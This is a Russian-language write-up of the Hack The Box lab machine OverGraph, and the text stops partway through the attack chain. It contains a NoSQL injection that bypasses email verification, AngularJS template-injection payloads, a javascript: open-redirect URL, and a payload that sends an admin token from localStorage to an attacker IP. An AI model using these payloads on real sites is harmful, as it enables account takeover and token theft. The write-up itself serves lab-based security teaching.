Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
В этом райтапе мы с тобой проведем множество сканирований цели, чтобы определить точки входа, поработаем с GraphQL, проэксплуатируем цепочку уязвимостей Open Redirect, Reflected XSS и CSTI для кражи админского токена. Затем получим доступ к хосту, прочитав SSH ключ через SSRF в FFmpeg. Все это — в рамках прохождения сложной машины OverGraph с площадки Hack The Box.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.157 overgraph.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Результат работы скрипта
Открыто два порта: 22 — служба OpenSSH 8.2p1 и 80 — веб‑сервер Nginx 1.18.0. Nmap показал нам, что выполняется редирект на адрес http://graph.htb
. Тоже добавляем этот адрес в файл /etc/hosts
.
10.10.11.157 overgraph.htb graph.htb
Главная страница http://graph.htb
Сайт оказался одностраничным, поэтому нужно найти новые цели для тестирования.
Попробуем поискать скрытые каталоги и файлы при помощи ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w
— словарь (я использую словари из набора SecLists);
-t
— количество потоков;
-u
— URL;
-fc
— исключить из результата ответы с кодом 403.
ffuf -u 'http://graph.htb/FUZZ' -t 256 -w directory_2.3_medium_lowercase.txt
Результат сканирования каталогов с помощью ffuf
И не находим ничего интересного, даже в файле server-status
. Поэтому попробуем просканировать поддомены, для чего снова будем использовать ffuf. К параметрам добавим заголовки -H
и --fs
, это поможет отсеять страницы по размеру.
ffuf -u 'http://graph.htb/' -t 256 -w subdomains-top1million-110000.txt -H 'Host: FUZZ.graph.htb' --fs 178
Результат сканирования поддоменов с помощью ffuf
И находим новый поддомен internal
. Добавляем его в файл /etc/hosts
.
10.10.11.157 overgraph.htb graph.htb internal.graph.htb
Но, открыв сайт в браузере, сразу натыкаемся на форму авторизации.
Форма авторизации http://internal.graph.htb
Так как всю работу проводим через Burp, то обнаружим в Burp History обращение еще к одному домену — internal-api.graph.htb
.
Логи Burp History
Добавляем еще одну запись в файл /etc/hosts
и затем открываем страницу /graphql
.
10.10.11.157 overgraph.htb graph.htb internal.graph.htb internal-api.graph.htb
Главная страница сайта http://internal-api.graph.htb
На странице используется GraphQL. Это язык запросов, с помощью которого клиентские приложения работают с данными. «Схемы» GraphQL позволяют организовывать создание, чтение, обновление и удаление данных в приложении. Давай получим данные __schema
и отфильтруем названия типов, это можно сделать, передав в параметре query
следующий запрос:
{__schema{types{name,fields{name}}}}
Ответ сервера
Ответ сервера (продолжение)
На этом пока все, но мы еще не сканировали каталоги на новом домене. Попробуем сделать это. Но, как только мы обратимся к любой странице, получим ответ, что запросы GET не поддерживаются. Поэтому будем сканировать запросом POST. А так как на домене крутится API, то и использовать будем соответствующий словарь.
ffuf -u 'http://internal-api.graph.htbFUZZ' -t 256 -X POST -w apiscan.txt
Результат сканирования API с помощью ffuf
И находим три новые страницы, с которыми начнем работу.
Итак, мы имеем следующие API:
register
— для регистрации пользователя;
verify
— предположительно для проверки при регистрации;
code
— пока непонятно, но, скорее всего, для проверки кода, отправленного на email.
Я начал со страницы /api/register
. Передаем наиболее вероятные параметры: имя пользователя, пароль и адрес электронной почты.
{ "username":"ralf", "email":"[email protected]", "password":"ralf"}
Попытка регистрации пользователя
Но в ответ нам говорят, что у нас неверный email или он не верифицирован. Это интересно, так как у нас остается всего две страницы для регистрации. Видимо, страница /api/code
нужна для получения кода. Отправим туда свой email.
{ "email":"[email protected]"}
Получение кода
И нам сообщают, что четыре цифры были отправлены на указанный почтовый ящик. По тестовому сообщению на странице /api/verify
узнаем, что вместе с почтой нужно присылать и код.
Запрос к /api/verify
Я попробовал перебрать этот код с помощью Burp Intruder, благо комбинаций всего 10 000. Но уже на одном из первых запросов все ломается, так как мы превысили количество попыток!
Сообщение о превышении количества запросов
Я очень долго просидел на этом этапе — пришлось даже просить подсказки у друзей. Мне посоветовали углубиться в механизм проверки кода. Тогда, потратив еще немного времени, я нашел NoSQL-инъекцию, которая позволяет верифицировать почту, предоставляя неправильный код. В данном запросе мы получим положительный результат, если код не равен 0000.
{ "email":"[email protected]", "code":{ "$ne":"0000" }}
Верификация почты
Приходит подтверждение того, что почта верифицирована. Повторим регистрацию и получим сообщение, что пароль и его подтверждение не совпадают.
Попытка регистрации пользователя
Тогда я перепробовал разные имена поля подтверждения пароля и определил, что в данном случае подходит confirmPassword
.
Регистрация пользователя
И аккаунт создан! Перейдем к форме авторизации на втором домене и авторизуемся.
Главная страница http://internal.graph.htb
А во входящих находим сообщение от пользователя Sally.
Входящие сообщения
Нас просят прислать ссылку. Попробуем открыть локальный сервер и скинуть ссылку на него. В итоге приходит запрос.
Логи веб‑сервера Python 3
Давай посмотрим, как это можно использовать.
Если еще раз взглянуть на страницу, можно заметить над меню надпись null null
. В исходном коде есть отсылка к нашему пользователю. А в локальном хранилище браузера (F12 → Application) найдем запись, что это firstname
и lastname
.
Исходный код страницы
Локальное хранилище браузера
Перейдем в настройки профиля и увидим то же самое, только с возможностью изменить эти значения.
Страница Profile
Надпись null null
натолкнула меня на мысль об использовании шаблонов. Давай проведем базовый тест.
Новые значения имени пользователя
Отображение имени пользователя
Как можно увидеть, вместо введенной строки получаем результаты выражений, а значит, есть уязвимость в шаблонах! Вот только в локальном хранилище эти значения хранятся, как и вводились. Значит, шаблон работает на клиентской стороне, а это уже путь для CSTI — инъекции шаблонов на стороне клиента.
Локальное хранилище браузера
Также я обратил внимание на параметр admin
со значением false
. Я изменил на true
и перезагрузил страницу. В меню появилась графа Upload
.
Измененное меню
Только вот форма загрузки не дает загрузить файл. Если вернемся к нашей схеме GraphQL, то можем посмотреть на необходимые параметры, к примеру adminToken
.
Параметры из схемы GraphQL
Таким образом, нам нужен adminToken
пользователя Sally. Но получить его непросто. Тут появился следующий план: если заставим целевого пользователя выполнить запрос на смену имени (по ссылкам же он переходит!), то в качестве нового имени установим нагрузку CSTI, передающую нам adminToken
. В исходниках видим использование AngularJS.
Исходный код страницы
AngularJS — это популярная библиотека JavaScript, которая сканирует HTML на предмет тегов с атрибутом ng-app
(директива AngularJS). Когда директива добавляется в тег, появляется возможность выполнять выражения JavaScript в двойных фигурных скобках.
Уязвимость Template Injection возникает, когда приложение, используя какой‑нибудь шаблонизатор, динамически внедряет пользовательский ввод в веб‑страницу. Когда страница отображается, фреймворк ищет в странице шаблонное выражение и выполняет его. Основное отличие CSTI от SSTI заключается в том, что при CSTI мы можем добиться лишь выполнения произвольного кода на JavaScript. Две самые популярные нагрузки для CSTI в AngularJS:
{{constructor.constructor('alert(1)')()}}{{$on.constructor('alert(1)')()}}
Новое имя пользователя
Обновляем страницу и первым делом видим окошко алерта.
Вызов alert(1) при загрузке страницы
А теперь попробуем эксфильтровать токен, для чего создадим у себя в хранилище тестовый.
Локальное хранилище браузера
В качестве нагрузки будем использовать знаменитый стилер, который похищает данные через картинку, а доступ к хранилищу получим через window.localStorage
.
{{$on.constructor('new Image().src="http://10.10.14.123:8000/?a="+window.localStorage.getItem("adminToken");')()}}
Обновляем страницу и в логах локального веб‑сервера находим значение тестового токена.
Логи веб‑сервера
Нагрузка для эксфильтрации готова, теперь разберемся, как подсунуть пользователю наш код.
Я снова просмотрел все сайты и на самом главном домене нашел что‑то вроде редиректа.
Код главной страницы http://graph.htb
Если существует GET-параметр redirect
, то функция window.location.replace
установит в качестве содержимого текущей страницы код, взятый по ссылке из redirect
. Благо мы можем вставить вместо URL код на JavaScript:
http://graph.htb/?redirect=javascript:alert(1)
Выполнение кода через JavaScript URL
Осталось разобраться с данными, которые отправляются для изменения имени пользователя.
В Burp History найдем запрос, которым мы изменили собственное имя.
Запрос на изменение профиля
Один из параметров — id
пользователя, а это немного усложняет задачу. Снова вернемся к GraphQL и посмотрим, какой из типов содержит поле Assignedto
.
Тип task
Нас интересует тип task
, который мы можем получить запросом tasks
.
Тип Query
Таким образом, нам нужно выполнить запрос tasks
с параметром username
, в котором мы передадим имя пользователя Sally
. Нас интересует только поле Assignedto
.
Источник: xakep.ru